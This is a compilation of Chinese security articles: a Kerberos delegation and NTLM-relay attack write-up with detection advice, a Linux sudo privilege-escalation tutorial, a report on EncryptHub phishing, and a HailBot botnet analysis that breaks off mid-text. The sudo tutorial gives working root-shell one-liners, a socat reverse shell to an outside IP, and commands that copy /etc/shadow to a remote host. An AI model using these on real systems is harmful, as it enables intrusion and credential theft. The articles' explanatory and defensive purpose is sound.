攻击者将基于资源的约束委派从服务A设置为服务B(将服务B上的msds allowedtoactonbehalf其他标识设置为使用服务B凭据或服务B的tgt包含“服务A”)。 攻击者使用服务A凭据和TGT执行完整的S4U2攻击,并获得服务B的受害者的一个可转发TGS。 攻击者使用服务B凭证和TGT调用。 S4U2Proxy使用前一步骤中的可转发的TGS,并获得受害者对时间和服务C的TGS。攻击者可以修改生成的TGS的服务类,例如从“时间”改为“cifs”,因为服务名称不受保护。 攻击者可以通过票据获得对服务C的访问权限。 下图说明了这种情况: 此场景的视频演示:(https://youtu.be/y37Eo9zHib8) TrustedToAuthForDelegation Bypass: 0x11无约束域的持久性 一旦攻击者破坏了域,显然可以在策略对象(如域控制器)上配置基于资源的约束委派,并根据需要获得TGS。但是基于资源的约束委派也可以配置为按需生成TGT作为域持久性技术。 一旦域受到破坏,就可以将基于资源的受约束委派从一个受到破坏的帐户配置为krbtgt帐户以生成TGTs 滥用案例的工作原理如下: 攻击者会破坏域和具有SPN或创建一个SPN的帐户(“服务A”) 攻击者将基于资源的受约束委派从服务A配置为krbtgt 攻击者使用Rubeus执行完整的S4U攻击,并为任意用户获取krbtgt的TGS,实际上是一个TGT。 攻击者可以使用TGT向任意服务请求TGS。 下图说明了这种情况: 此场景的视频演示:(https://youtu.be/1BU2BflUHxA) krbtgt帐户上通过RBCD进行域持久化: 在这种情况下,帐户服务A获得了某种程度上类似于KDC的功能,从某种意义上说,它可以为任意用户生成TGT。 可以说,通过新的访问控制(ACE)可以实现更细微的持久性,以允许基于资源的约束委派按需配置。 0x012 攻击方式:RCE / LPE 如上图所示,如果攻击者可以使用无约束委派来破坏主机,则可以使用“打印机错误”和S4U2Self 来实现RCE 。但是无约束委派并不是那么重要的条件,所以我试图想出一个不需要无约束委派的攻击链。 如上所述,每个资源都有权为自己配置基于资源的约束委派,这可以通过LDAP完成。如果攻击者能够成功执行对LDAP的计算机帐户身份验证的NTLM中继,则此论证为RCE/LPE提供了有力的依据。 滥用案例的工作原理如下: 攻击者会破坏具有SPN的帐户或创建一个帐户(“服务A”)。 攻击者使用诸如“打印机错误”之类等方式来触发计算机帐户身份验证。 攻击者在域控制器上对LDAP执行计算机帐户(“服务B”)身份验证的NTLM中继。 攻击者配置从服务A到服务B的基于资源的约束委派。 攻击者使用Rubeus执行完整的S4U攻击,并为在该主机上具有本地管理员权限的用户获取服务B的TGS。 攻击者可以传递票据并获得RCE/ LPE,具体取决于用于触发计算机帐户身份验证。 上面的场景很简单,很好。然而,现实情况是NTLM中继比看起来更复杂,可能有点不现实。 1.NTLM中继101 NetNTLM是一种由Microsoft为Windows环境设计的挑战--响应身份验证协议。在NetNTLM协议中,发送了三条消息: 客户端发送协商消息以请求身份验证和“通告功能”。 服务器发送包含随机8字节数的质询消息。 客户机发送一条包含对挑战的响应的身份验证消息。使用一个加密函数计算响应,加密函数具有从用户密码(NTLM哈希)生成的密钥。 服务器验证对挑战的响应。如果有效,则验证成功。否则,身份验证失败。 该协议容易受到以下中继攻击: 处于中间位置的人中的攻击者等待来自受害者的传入协商消息。 攻击者将协商消息转发给目标服务器。 目标服务器向攻击者发送挑战消息。 攻击者将挑战消息转发给受害者。 受害者生成有效的身份验证消息并将其发送给攻击者 攻击者将有效的身份验证消息转发到目标服务器。 目标服务器接受AUTHENTICATE消息,并且攻击者已成功通过身份验证。 下图说明了NTLM中继攻击: NetNTLM协议不仅提供身份验证,还可以有利于会话密钥交换以进行加密(“密封”)和签名。客户端和服务器通过交换消息中的某些标志协商是否需要加密/签名。交换的会话密钥使用从客户端的NTLM哈希生成的密钥进行RC4加密。客户端显然拥有NTLM哈希并可以对其进行解密。但是,域成员服务器不保留域用户的NTLM哈希值,而只保留本地用户的NTLM哈希值。当域用户与成员服务器交换会话密钥时,成员服务器使用Netlogon RPC协议验证客户端对域控制器的挑战响应,如果交换了会话密钥则由域控制器计算解密密钥并提供给成员服务器。 如果客户端和服务器协商会话密钥以进行签名,则执行中继攻击的攻击者可以成功进行身份验证,但无法获取会话密钥以对后续消息进行签名,除非攻击者可以获取以下其中一项: 受害者的NTLM哈希值 目标服务器的计算机帐户的凭据 破坏域控制器 但是,如果攻击者获得上述任何一项,则他们不需要执行NTLM中继攻击来攻击目标主机或冒充受害者,这就是签名减轻NTLM中继攻击的原因。 2.NTLM中继102 目标是在不协商签名或加密的情况下,从任何协议到LDAP执行成功的中继。 我所知道的从计算机帐户引出连接的大多数都是由smb客户机或rpc客户机启动的,这两个客户机似乎总是协商签名。如果在NTLM交换中协商了签名,则域控制器上的LDAP服务将忽略所有未签名的消息(在Windows Server 2016和Windows Server 2012R2上测试)。 最明显的下一步是对NTLM中继期间协商签名的标志的重置。但是,微软在NTLM协议中引入了一个MIC(我相信是消息完整性代码)来防止这种情况发生。MIC由客户端在身份验证消息中发送,它使用HMAC-MD5和会话密钥保护所有三个NTLM消息的完整性。如果更改了一个NTLM消息,则MIC将无效,身份验证将失败。 并非所有客户端都支持MIC,例如Windows XP / 2003和更早版本,因此并非强制要求。所以尝试的另一件事是在NTLM中继期间忽略MIC。但是,有一个标志表示MIC是否存在,并且该标志是计算NetNTLM对挑战的响应时使用的“salt”的一部分。因此,如果删除MIC并重置相应的标志,则NetNTLM响应将无效,并且身份验证将失败。 3.反射式NTLM中继失效 传统上,计算机帐户的NTLM中继是反射性的,这意味着从某个主机返回到它自身。在MS08-068之前,通常通过从SMB转发到SMB来实现RCE。 在修补之后,反射式跨协议NTLM中继仍然是可能的,并且最常被滥用是在诸如Hot Potato之类的攻击中实现LPE 。反射式跨协议中继在MS16-075中进行了修补,从而永久地终止了反射中继攻击(或直到JamesForshaw将其修复)。 Rotten Potato/Juicy Potato仍然被一直利用,但它是一种不同于反射中继的方式,因为它滥用本地认证,忽略了挑战响应。 在MS16-075之后,许多安全研究人员停止了寻找能够引起计算机帐户身份验证的证据,因为没有存在反射中继的攻击,研究它们就不再有价值。 4.适用于RCE/LPE的可行NTLM中继论证 RCE/LPE论证需要以下之一: 不协商签名的客户端,例如所有Windows版本上的Web客户端,包括WebDAV客户端。 在NTLM消息中不支持MIC的客户端,例如Windows XP/2003及更早版本。 未忽略未签名消息或不验证支持基于资源的受约束委派的域控制器上的MIC的LDAP服务。 触发计算机帐户通过HTTP进行身份验证有不同的论证。其中一些人在Hot Potato中进行滥用。我选择研究那些采用任意UNC路径然后触发WebDAV客户端连接的路径。 请注意,在Windows服务器上,默认情况下不安装WebDAV客户端。在Windows Server 2012R2及更早版本上,需要桌面体验功能,在Windows Server 2016或更高版本中,需要WebDAV重定向器功能。但是,在桌面上,默认情况下会安装WebDAV客户端。 正如我上面提到的,似乎一些研究人员不再关心这些论证了。然而,正如Lee Christensen(@tifkin_)在“打印机错误”和无约束委派的组合演示的那样,也正如我将在下面演示的那样,这些论证仍然可以使用的,我鼓励大家继续研究它们(并在找到它们时告诉我所有相关信息)。 5.获取Intranet-Zoned 默认情况下,Web客户端将仅自动向Intranet区域中的主机进行身份验证,这意味着主机名中不能存在intranet zone。如果中继服务器已经有合适的DNS记录,那么这不是问题。但是,如果中继服务器是“恶意的”,IP地址将不会切断它。为了解决这个问题,可以滥用ADIDNS为中继服务器添加新的DNS记录,正如Kevin Robertson(@NetSPI)在他的博客文章Exploit Active Directory-Integrated DNS中所阐述的那样。 0x13典型案例研究 1.案例研究1:MSSQL RCE/LPE MSSQL有一个名为xp_dirtree的未记录的存储过程,它列出了所提供路径的文件和文件夹。默认情况下,所有经过身份验证的用户(“公共”)都可以访问此存储过程。 在以下情况下,攻击者可以通过滥用xp_dirtree存储过程来实现RCE/LPE(主要取决于连接性): 攻击者已破坏了允许调用xp_dirtree存储过程的用户。 MSSQL服务作为网络服务,本地系统或虚拟帐户运行(默认) WebDAV客户端已在目标主机上安装并运行。 滥用案例的工作原理如下: 攻击者为具有SPN或创建一个SPN(“服务A”)的帐户攻击凭证或TGT,并且允许在目标MSSQL实例上连接并调用xp_dirtree的帐户。 如果需要,攻击者使用服务A使用ADIDNS添加DNS记录。 攻击者登录到目标主机(“服务B”)上的MSSQL服务,并调用xp_dirtree以触发与恶意WebDAV NTLM中继服务器的连接 攻击者将计算机帐户NTLM身份验证中继到域控制器上的LDAP服务,并将基于资源的约束委派从服务A配置到服务B. 攻击者使用Rubeus执行完整的S4U攻击,以便为在目标主机上具有本地管理员权限的用户获取服务B的TGS。 攻击者可以通过票证来破坏目标主机。 下图说明了这种情况: 此场景的视频演示:(https://youtu.be/nL2oa3URkCs) MSSQL RCE通过xp_dirtree和NTLM中继来配置RBCD: Matt Bush(@ 3xocyte)将“ Bad Sequel ”这种情况作为PoC利用: 2.案例研究2:Windows 10/2016/2019 LPE 一个深夜,Matt Bush(@ 3xocyte),Danyal Drew(@danyaldrew)和我一起思考如何找到合适的RCE/LPE论证,并决定研究用户在Windows 10/2016/2019中更改帐户图标时会发生什么。我们使用Process Monitor对其进行了分析,并很快发现在帐户图标更改过程中,以SYSTEM打开图片文件来读取其属性。这是一个小而毫无意义的操作; 不是任意的文件写/读/删除。 滥用案例的工作原理如下: 攻击者破坏具有SPN的帐户的凭据或TGT或创建一个帐户(“服务A”) 攻击者通过安装了WebDAV重定向器功能(“服务B”)获得对运行Windows 10或Windows Server 2016/2019的另一台计算机的非特权访问。 如果需要,攻击者使用服务A使用ADIDNS添加DNS记录。 攻击者将帐户配置文件图标更改为恶意WebDAV NTLM中继服务器上的路径。 攻击者将计算机帐户NTLM身份验证中继到域控制器上的LDAP服务,并将基于资源的约束委派从服务A配置到服务B. 攻击者使用Rubeus执行完整的S4U攻击,为拥有本地管理员权限的用户获取服务B的TGS 攻击者可以将票据传递来破坏服务B 下图说明这种情况: 此场景的视频演示:(https://youtu.be/741uz0ILxCA) Windows 10/2016/2019 LPE通过NTLM中继来配置RBCD: 0x14 缓解措施 标记为对委派敏感的帐户或受保护用户组的成员不受此处显示的攻击的影响,除S4U2Self滥用除外。但是,计算机帐户会受到影响,根据我的经验,它们永远不会被标记为对委派敏感或添加到受保护用户组。我没有彻底测试将计算机帐户设置为对委派敏感或将其添加到受保护用户组的影响中,因此我不建议这样做,但我建议您可以进一步研究它。 正如Lee Christensen(@tifkin_)在DerbyCon 8中的“打印机错误”滥用案例中所展示的那样,获得域控制器的TGT / TGS允许执行“dcsync”并破坏域。如上述所示,在基于资源的约束委派下,,为任何计算机帐户获取TGT都允许对其模拟用户,并可能破坏主机。因此,重要的是不要将任何主机配置为无受约束的委派,因为它可以促进森林内和其他具有双向信任的林中的其他主机的危害。 使用通道绑定进行LDAP签名可以缓解上述案例研究中描述的RCE和LPE攻击链。 涉及到ntlm中继到ldap的rce/lpe攻击链滥用了一个默认的ace,该ace允许自己将msds写入到其他身份的一半中。添加一个拒绝自己写入msds的新ace属性,该属性被分配到其他身份的一半中,将中断这些攻击链,然后将不得不返回到与无约束委派的原始属性。如果您的企业组织不使用基于资源的受限委派,您可以考虑添加一个ACE,阻止每人写入属性msds allowedtototobenthetheridentity的操作。 0x015 防御检测 以下事件可用于日志文本中描述的攻击的检测思路: S4U2Self:可以在Kerberos服务票据请求事件(事件ID 4769)中检测到S4U2Self,其中“帐户信息”和“服务信息”部分指向同一帐户。 S4U2Proxy:可以在Kerberos服务票据请求事件(事件ID 4769)中检测到S4U2Proxy,其中“附加信息”中的“传输服务”属性不为空。 无约束域持的久性:可以在Kerberos服务票据请求事件(事件ID 4769)中检测到上述域持久性技术,其中附加信息中的传输服务属性不为空(表示S4U2Proxy),并且服务信息指向“krbtgt”帐户。 msds allowedtoctonbehalf-ofotheridentity:如果定义了适当的sacl,则可以在目录服务对象修改事件(事件ID 5136)中检测到基于资源的约束委派配置更改,其中LDAP显示名称为“msds allowedtoactonbehalf-ofotheridentity”。主题标识和对象标识相同的事件可以是上面提到的一些攻击的指示符 0x16 来自微软的建议 微软在MS-SFU第5.1节中强调了S4U2Proxy的风险: “S4U2proxy扩展允许服务代表用户获取第二个服务的服务票据。当与S4U2self结合使用时,这允许第一个服务在访问第二个服务时模拟任何用户主体。这使得任何允许访问S4U2proxy扩展的服务具有与KDC本身类似的功能。这意味着允许调用此扩展的每个服务都必须受到与KDC一样强大的保护,并且服务仅限于使用者知道具有正确行为的服务。 S4U2Proxy是一个危险的扩展,应尽可能限制。但是,引入基于资源的约束委派允许任意帐户调用S4U2Proxy。方法是将“传入”委派配置为其自身,那么,我们应该像KDC一样强有力地保护所有账户。 0x017 参考文献 http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/ https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/ http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/ https://foxglovesecurity.com/2016/01/16/hot-potato/ https://ohpe.it/juicy-potato/ https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/ https://github.com/gentilkiwi/kekeo/releases/tag/2.1.0-20180422 https://github.com/eladshamir/Rubeus/ https://github.com/gentilkiwi/kekeo/releases/tag/2.1.0-20180422 https://github.com/Kevin-Robertson/Powermad https://github.com/leechristensen/SpoolSample https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c https://gist.github.com/3xocyte/0dc0bd4cb48cc7b4075bdc90a1ccc7d3 https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c https://www.secureauth.com/blog/kerberos-delegation-spns-and-more https://blog.netspi.com/exploiting-adidns/ https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory/
-
使用sudo进行Linux权限升级技巧
0x00 前言 在我们之前的文章中,我们讨论了如何使用SUID二进制文件和/etc/passwd 文件的Linux权限提升技巧,今天我们发布了另一种“使用Sudoers文件进行Linux权限提示技巧”的方法。 在解决CTF挑战时,对于权限提升,我们始终通过执行sudo -l命令来检查任何用户执行任何文件或命令的root权限。 您可以阅读我们之前的文章,其中我们已应用此技巧进行权限提升。 0x01 sudoer基础 1.基本概念 在Linux/Unix中,/etc目录下的sudoers文件是sudo权限的配置文件。我们都知道sudo命令的强大功能,sudo这个词代表了超级用户权限。Sudoers文件是存储具有root权限的用户和组的文件,以root或其他用户身份运行部分或全部命令。请看下图: 当与sudo一起运行任何命令时,它需要root权限才能执行,Linux会检查sudoers文件中的特定用户名。并给出结论,特定的用户名是否在sudoers文件列表中,如果没有,那么就不能使用sudo命令运行命令或程序。根据sudo权限,root用户可以从ALL终端执行,充当所有用户:all group,并运行ALL命令。 2.Sudoer文件语法 如果(root用户)希望授予任何特定用户sudo权限,请输入visudo命令,该命令将打开sudoers文件进行编辑。在用户权限规范下,您将看到默认的root权限“root ALL =(ALL:ALL)ALL”,但在实际情况下,还提供了标记选项,这是可选的,如下图所示。 考虑下面的示例,我们要为用户raaz分配sudo权限,raaz访问终端并使用root权限运行copy命令。这里没有密码标签,这意味着不会为用户请求密码。 注意: (ALL:ALL)也可以表示为(ALL) 如果您找到(root)代替(ALL:ALL),则表示用户可以以root身份运行该命令 如果没有提及用户或组,则表示sudo默认为root用户 让我们深入了解实际情况。首先,创建一个不属于sudo组的用户。这里我们添加了用户“raaz”,其uid为1002,gid为1002,因此raaz是非root用户 0x02 分配root权限的方法 1.分配Root权限的传统方法 如果系统管理员希望授予用户raaz所有权限,那么他可以按照以下步骤在用户权限规范类别下添加用户raaz。 visudo raaz ALL=(ALL:ALL) ALL or raaz ALL=(ALL) ALL (1) 生成root访问 另一方面,启动攻击主机,首先攻击目标系统,然后进入特权提升阶段。假设您成功地通过ssh登录到受害者的主机,并且想知道当前用户的sudo权限,然后执行下面的命令 sudo -l 在传统方法中,passwd选项在执行上述命令的同时来启用用户身份验证,并且可以使用nopasswd选项来禁用它。突出显示的文本表示当前用户被授权执行的所有命令。因此,我们通过执行命令获得了root访问权限。 sudo su id 2.分配root权限的默认方法 如果系统管理员想要授予用户raaz执行所有命令和程序的root权限,那么他可以按照以下步骤在用户权限规范类别下添加用户raaz。 visudo raaz ALL=ALL or raaz ALL=(root) ALL 此处还启用了默认的passwd选项来进行身份验证。 (1).生成root访问 再次攻击目标系统,然后按照上述步骤进入权限提升阶段,并执行以下命令以查看sudo用户列表 sudo -l 在这里,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行所有命令。。因此,我们可以通过执行更多的下行步骤来实现root访问 sudo su or sudo bash 注意:在执行sudo-l命令时,上述两种方法都会要求用户密码进行身份验证,因为默认情况下启用了passwd选项。 0x03 提权技巧 1.允许二进制命令的Root权限 有时用户有权执行特定目录的任何文件或命令,如/bin/cp、/bin/cat或/usr/bin/find,这种类型的权限会导致root权限的权限提升,可以通过以下步骤来实现。 raaz ALL=(root) NOPASSWD: /usr/bin/find 注意:此处NOPASSWD选项表示在运行sudo -l命令时将不会为身份验证请求密码。 (1) 使用Find命令生成Root访问权限 再次攻击受害者的系统,然后进入特权升级阶段,执行下面的命令查看sudo用户列表。 sudo -l 此时,您可以注意到突出显示的文本表示用户raaz可以通过find命令运行任何命令。因此,我们通过执行以下命令获得root访问权限。 sudo find /home -exec /bin/bash \; id 2.允许二进制程序的root权限 有时,管理员会为特定用户分配精细的权限,以运行二进制程序,允许用户编辑任何系统文件,如/etc/passwd等。如果授权给用户,某些二进制程序可能会导致权限提升。在下面给出的命令中,我们为以下程序分配了sudo权限,该程序可以以root用户身份运行。 raaz ALL= (root) NOPASSWD: /usr/bin/perl, /usr/bin/python, /usr/bin/less, /usr/bin/awk, /usr/bin/man, /usr/bin/vi (1) 使用Perl单命令生成shell 权限提升时,在权限提升阶段执行以下命令以查看sudo用户列表。 sudo -l 现在您可以看到突出显示的文本,显示用户raaz可以以root用户身份运行Perl语言程序或脚本。因此,我们通过执行Perl单命令获得root访问权限。 sudo perl -e 'exec "/bin/bash";' id (2) 使用Python单命令生成shell 在攻击目标系统之后,然后如上所述那样进入特权提升阶段,执行以下命令以查看sudo用户列表 sudo -l 此时,您可以看到突出显示的文本,显示用户raaz可以以root用户身份运行python语言程序或脚本。因此,我们通过执行python单命令获得root访问权限。 sudo python -c 'import pty;pty.spawn("/bin/bash")' id (3) 使用Less命令生成shell 权限提升时,在权限提升阶段执行以下命令以查看sudo用户列表。 sudo -l 在这里,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行less命令。因此,我们通过执行以下命令来获得root访问权限。 sudo less /etc/hosts 它将打开请求的系统文件进行编辑,但是为了生成root shell,在编辑器中输入!bash,并按Enter键生成。 您将获得root访问权限,如下图所示。 (4) 使用AWK单命令生成shell 在攻击受害者系统之后,目标系统会像上述那样进入特权提升阶段,执行以下命令以查看sudo用户列表 sudo -l 在此阶段,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行AWK命令。因此,我们通过执行以下命令来获得root访问权限。 sudo awk 'BEGIN {system("/bin/bash")}' id (5) 使用Man命令生成shell 权限提升时,在权限提升阶段执行以下命令以查看sudo用户列表。 sudo -l 在这里,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行man命令。因此,我们通过执行以下命令来获得root访问权限。 sudo man man 它将打开请求的系统文件进行编辑,但是为了生成root shell,在编辑器中输入!bash,并按Enter键生成。 您将获得root访问权限,如下图所示。 (6) 使用Vi编辑器生成shell 权限提升时,在权限提升阶段执行以下命令以查看sudo用户列表。 sudo -l 在这里,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行vi命令。因此,我们通过执行以下命令来获得root访问权限。 sudo vi 因此,它将打开vi编辑器进行编辑,但是为了生成root shell,在编辑器中输入!bash,并按Enter键生成。就可以像上面那样使用less命令获得root权限。 您将获得root访问权限,如下图所示。 id whoami 注意:对less,nano,man,vi和man的sudo的权限非常危险,因为它们允许用户编辑系统文件并导致权限提升。 3.允许Shell脚本的root权限 对于系统或程序调用,有最大的机会获得任何类型的脚本的权限提升,它可以是任何脚本(bash、php、python或c语言脚本)。假设您(系统管理员)想要对任何将在执行时提供bash shell的脚本赋予sudo权限。 例如,我们有一些脚本将在执行时提供root命令终端,在下图中,您可以看到我们已经编写了3个程序,通过使用不同的编程语言来获取bash shell,并将所有三个文件都保存在bin/script中,该三个文件为:asroot.py、asroot.sh、asroot.c(编译文件shell) 注意:在解决OSCP挑战时,您会发现某些脚本被作者隐藏,用于利用内核或root shell,并为任何特定用户设置sudo权限以执行该脚本。 现在允许raaz以root用户身份运行以上所有脚本,方法是在以下命令的帮助下编辑sudoers文件。 raaz ALL= (root) NOPASSWD: /bin/script/asroot.sh, /bin/script/asroot.py, /bin/script/shell (1) 通过执行Bash脚本生成root shell 执行下面的权限提升命令以查看sudo用户列表。 sudo -l 突出显示的文本显示用户raaz可以作为root用户运行asroot.sh。因此,我们通过运行asroot.sh脚本获得root访问权限。 sudo /bin/script/asroot.sh id (2) 通过执行Python脚本生成root shell 执行下面的权限提升命令以查看sudo用户列表 sudo -l 此时,突出显示的文本显示用户raaz可以作为root用户运行asroot.py。因此,我们通过执行以下脚本获取了root访问权限。 sudo /bin/script/asroot.py id (3) 通过执行C语言脚本生成root shell 在攻击目标系统之后,执行下面的权限提升命令以查看sudo用户列表。 sudo -l 在这里,您可以看到突出显示的文本,表示用户raaz可以以root用户身份运行shell(asroot.c编译文件)。所以我们通过执行以下shell获得了root访问权限。 sudo /bin/script/shell id 4.允许其他程序的sudo权限 正如上面所看到的那样,一些具有sudo权限的二进制程序有助于获得root访问权限。但除此之外,还有一些应用程序可以活得root访问权限,如果拥有sudo权限,如FTP或socat。在下面给出的命令中,我们为以下程序分配了sudo权限,该程序可以以root用户身份运行。 raaz ALL=(ALL) NOPASSWD: /usr/bin/env, /usr/bin/ftp, /usr/bin/scp, /usr/bin/socat (1) 使用环境生成Shell 在权限提升阶段,执行以下命令查看sudo用户列表。 sudo -l 正如我们可以看到的用户:raaz对env、ftp、scp和socat拥有sudo权限,现在让我们逐个尝试通过它们获得root访问权限。 sudo env /bin/bash whoami (2) 使用FTP生成Shell 现在让我们尝试使用以下命令通过FTP获得root访问权限: sudo ftp ! /bin/bash whoami or ! /bin/sh id whoami (3) 使用Socat生成Shell 现在让我们尝试通过socat在以下命令的帮助下获得root访问权限。在攻击者的终端上执行以下命令,以使侦听器能够进行反向连接。 socat file:`tty`,raw,echo=0 tcp-listen:1234 然后在受害者的主机上运行以下命令,您将在攻击者计算机上获得root访问权限。 sudo socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.105:1234 (4) 通过SCP生成shell 正如我们所知,sudo权限对于scp是可用的,但不可能获得如上所示的bash shell目录,因为它是一种安全地在本地主机和远程主机之间移动任何文件的方法。因此,我们可以使用它来传输那些需要root权限来执行读/写操作的系统文件,例如/etc/passwd和/etc/shadow文件。 语法: scp SourceFile user@host:~/目录路径 sudo scp /etc/passwd [email protected]:~/ sudo scp /etc/shadow [email protected]:~/ 现在让我们通过检查远程目录来确认,正如您看到的那样,我们在远程PC中成功地接收到了passwd和shadow文件。
-
Encrypthub入侵618个组织以部署InfoStealer勒索软件
一个名为“EncryptHub”的威胁者(又名“Larva-208”),一直以世界各地的组织为目标,通过鱼叉式网络钓鱼和社会工程攻击来访问企业网络。 根据Prodaft上周在内部发布的一份报告称,自2024年6月Encrypthub启动运营以来,它已经攻击了至少618个组织。 在获得访问权限后,威胁者安装远程监控和管理(RMM)软件,然后部署像Stealc和Rhadamanthys这样的信息窃取程序。在许多观察到的案例中,EncryptHub也会在受损的系统上部署勒索软件。 据悉,该威胁组织隶属于RansomHub和BlackSuit,过去曾部署过这两家勒索软件加密器,可能是它们的初始访问代理或直接附属机构。 然而,在研究人员观察到的许多攻击中,攻击者部署了自定义的PowerShell数据加密器,因此他们也保留了自己的变体。 获得初始访问权限 Larva-208的攻击包括短信网络钓鱼、语音网络钓鱼,以及模仿企业VPN产品(如Cisco AnyConnect、Palo Alto GlobalProtect、Fortinet和Microsoft 365)的虚假登录页面。 假冒思科登录页面 攻击者通常在给目标的消息中冒充IT支持人员,声称VPN访问有问题或他们的帐户存在安全问题,指示他们登录到一个网络钓鱼网站。 受害者收到链接,这些链接将他们重定向到网络钓鱼登录页面,在那里他们的凭据和多因素身份验证(MFA)令牌(会话cookie)被实时捕获。 一旦网络钓鱼过程结束,受害者将被重定向到服务的真实域,以避免引起怀疑。 网络钓鱼过程概述 EncryptHub已经购买了70多个模仿上述产品的域名,如“linkwebcisco.com”和“weblinkteams.com”,以增加人们对钓鱼网页的合法性认知。 这些钓鱼网站托管在像Yalishanda这样的可靠托管提供商上,ProDaft说,这些提供商通常不会对合理的删除请求做出回应。 Prodaft还发现了另一个名为larava -148的子组织,他们帮助购买用于网络钓鱼活动的域名,管理主机,并建立基础设施。 Larva-148有可能向EncryptHub出售域名和网络钓鱼工具包,尽管它们之间的确切关系尚未被破译。 恶意软件部署 一旦EncryptHub入侵目标系统,它就会部署各种PowerShell脚本和恶意软件来获得持久性、远程访问、窃取数据和加密文件。 首先,他们会欺骗受害者安装RMM软件,如AnyDesk、TeamViewer、ScreenConnect、Atera和Splashtop。这使得他们能够远程控制受损的系统,保持长期访问,并使横向移动成为可能。 接下来,他们使用不同的PowerShell脚本来部署信息窃取程序,如Stealc、Rhadamanthys和变幻无常的Stealer,以窃取存储在web浏览器中的数据。这些数据包括保存的凭据、会话cookie和加密货币钱包密码。 攻击中使用的自定义PowerShell脚本 在Linux和Mac设备上执行类似行为的Python脚本中,威胁者试图从被破坏的系统中窃取大量数据,包括: ·来自各种加密货币钱包的数据,包括MetaMask,以太坊钱包,Coinbase钱包,Trust钱包,Opera钱包,Brave钱包,TronLink, Trezor钱包等。 ·各种VPN客户端的配置数据,包括Cisco VPN Client、forticclient、Palto Alto Networks GlobalProtect、OpenVPN、WireGuard等。 ·来自流行密码管理器的数据,包括Authenticator, 1Password, NordPass, DashLane, Bitwarden, RoboForm, Keeper, MultiPassword, KeePassXC和LastPass。 ·匹配特定扩展名或文件名包含特定关键字的文件,包括图片、RDP连接文件、Word文档、Excel电子表格、CSV文件、证书等。目标文件名中的一些关键字包括“pass”,“account”,“auth”,“2fa”,“wallet”,“seedphrase”,“recovery”,“keepass”,“secret”等等。 Larva-208的最后一个威胁是以基于powershell的自定义加密器的形式出现的勒索软件,该加密器使用AES加密文件并附加“。加密”扩展名,删除原始文件。 受害者收到一封勒索信,要求用USDT通过电报支付赎金。 Larva-208的勒索信 Prodaft表示,EncryptHub是一个老练的恶意分子,它会为提高攻击效率而量身定制攻击计划,对大型组织进行高价值的攻击。 本报告中研究的LARVA-208鱼叉式网络钓鱼行为表明,有针对性的网络攻击越来越复杂。通过采用高度定制的策略,先进的混淆方法和精心制作的诱饵,威胁者已经展示了逃避检测和破坏高价值目标的重要能力。
-
攻击DeepSeek的僵尸网络HailBot的三个变种分析
1 概述 安天CERT在2月5日发布了《攻击DeepSeek的相关僵尸网络样本分析》报告,分析了攻击中活跃的两个僵尸网络体系RapperBot和HailBot和其典型样本,分析了其与Mirai僵尸木马源代码泄漏的衍生关系。安天工程师依托特征工程机制,进一步对HailBot僵尸网络样本集合进行了更细粒度差异比对,在将样本向控制台输出的字符串作为分类标识条件的比对中,发现部分样本修改了早期样本的输出字符串“hail china mainland”,其中数量较多的两组分别修改为“you are now apart of hail cock botnet”和“I just wanna look after my cats, man.”。为区别这三组样本,我们将三组变种分别命名为HailBot.a、HailBot.b、HailBot.c,对三组样本的传播方式、解密算法、上线包、DDoS指令等进行相应的分析。其中也有将输出字符串修改为其他内容样本,但数量较少,未展开分析。 表 1‑1 HailBot三个变种之间的关系 HailBot.a HailBot.b HailBot.c 特殊字符串 hail china mainland you are now apart of hail cock botnet I just wanna look after my cats, man. 传播方式 CVE-2017-17215漏洞 CVE-2017-17215漏洞 CVE-2023-1389漏洞 破解攻击(账号密码数量45) CVE-2017-17215漏洞 CVE-2023-1389漏洞 暴破攻击(账号密码数量96) 解密算法 ChaCha20算法 key:“16 1E 19 1B 11 1F 00 1D 04 1C 0E 08 0B 1A 12 07 05 09 0D 0F 06 0A 15 01 0C 14 1F 17 02 03 13 18” nonce:“1E 00 4A 00 00 00 00 00 00 00 00 00” ChaCha20算法 key:“16 1E 19 1B 11 1F 00 1D 04 1C 0E 08 0B 1A 12 07 05 09 0D 0F 06 0A 15 01 0C 14 1F 17 02 03 13 18” nonce:“1E 00 4A 00 00 00 00 00 00 00 00 00” ChaCha20算法 key:“5E 8D 2A 56 4F 33 C1 C9 72 5D F9 1D 01 6C 2F 0B 77 3D 81 94 58 40 63 0A 79 62 1F 80 5C 3E 16 04” nonce:“1E 00 4A 00 00 00 00 00 00 00 00 00” 上线包 31 73 13 93 04 83 32 01 大部分样本:56 63 34 86 90 69 21 01 少部分样本:31 73 13 93 04 83 32 01(与HailBot.a一致) 56 63 34 86 90 69 21 01 DDoS指令 8个指令,指令号0-7 15个指令,指令号0-14 10个指令,指令号0-7、11、14 2 样本分析 2.1 HailBot.a HailBot.a,是其最早变种,由于其运行时向控制台输出“hail china mainland”,相关僵尸网络因此被命名为HailBot。本节内容与第一篇分析报告有部分内容重复,主要为了对比不同版本变种间的差异特点。 HailBot.a的样本信息如下表所示。 表 2‑1 HailBot.a典型样本标签 病毒名称 Trojan/Linux.Mirai[Backdoor] MD5 2DFE4015D6269311DB6073085FD73D1B 处理器架构 ARM32 文件大小 74.78 KB (76,572 bytes) 文件格式 ELF 32-bit LSB executable 加壳类型 无 编译语言 C/C++ 2.1.1 传播方式 HailBot.a利用漏洞进行传播,其长期使用的CVE-2017-17215漏洞存在于特定版本路由器的UPnP(通用即插即用)服务中。攻击者可以通过发送特制的HTTP请求在目标设备执行任意代码。 图 2‑1 HailBot.a构造漏洞利用载荷 2.1.2 解密算法 HailBot.a运行后首先对域名进行解密,其解密操作采用了ChaCha20算法。key为“16 1E 19 1B 11 1F 